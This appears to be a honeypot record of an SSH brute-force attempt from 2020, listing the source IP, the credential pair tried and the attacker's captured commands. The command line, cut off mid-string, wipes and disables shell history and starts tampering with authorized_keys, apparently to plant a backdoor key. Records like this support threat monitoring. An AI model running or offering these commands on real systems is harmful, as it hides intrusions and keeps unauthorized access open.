Details

ID	e9418d55-9aed-4abd-a6c5-ea4ba84b19c8
Attack Type	ssh
IP Address	112.175.232.155
Username	firebird
Password	123456
Client Version	SSH-2.0-libssh2_1.8.0
Country	Republic of Korea
Date	2020-04-06 08:35PM

Commands

uname -a;unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH;history -n;export HISTFILE=/dev/null;export HISTSIZE=0;export HISTFILESIZE=0;cd;mkdir .ssh;cat .ssh/authorized_keys|grep -v 'heVAZUWSKHausOwb+Rem+eKhkrKvoe

Proxy Requests

	IP Address	User / Pass	Date	Headers	URL